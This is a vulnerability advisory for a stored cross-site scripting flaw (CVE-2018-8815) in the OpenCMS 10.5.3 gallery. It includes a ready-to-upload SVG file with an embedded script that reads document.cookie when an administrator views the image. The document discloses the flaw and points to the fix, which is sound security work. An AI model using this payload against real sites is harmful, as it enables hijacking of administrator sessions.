OpenCMS 10.5.3 - Cross-Site Scripting

# Exploit Title: OpenCMS 10.5.3 Stored Cross Site Scripting Vulnerability
# Google Dork: N/A
# Date: 02-04-2018
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# Exploit Author: Sureshbabu Narvaneni
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.opencms.org/en/
# Software Link: http://www.opencms.org/en/modules/downloads/begindownload.html?id=a7747cd0-b27b-11e7-8299-7fde8b0295e1
# Affected Version: 10.5.3
# Category: WebApps
# Tested on: Ubuntu 14.04 x86_64/Kali Linux 4.12 i686
# CVE : CVE-2018-8815

1. Vendor Description:

OpenCms from Alkacon Software is a professional, easy to use website
content management system. OpenCms helps content managers worldwide to
create and maintain beautiful websites fast and efficiently.

2. Technical Description:

Cross-site scripting (XSS) vulnerability in the gallery function in Alkacon
OpenCMS 10.5.3 allows remote attackers to inject arbitrary web script or
HTML via a malicious SVG image.

3. Proof Of Concept:

a) Login as user who is having Gallery Editor role.
b) Navigate to gallery and upload below svg file.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
    <script type="text/javascript">
      alert(document.cookie);
    </script>
</svg>
c) Once other user who is having Root Administrator permissions visited the
image link or viewed the uploaded svg image the script get executed.

4. Solution:

Upgrade to latest release.
http://www.opencms.org/en/home/news.html

5. Reference:
https://github.com/alkacon/opencms-core/issues/587
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-8815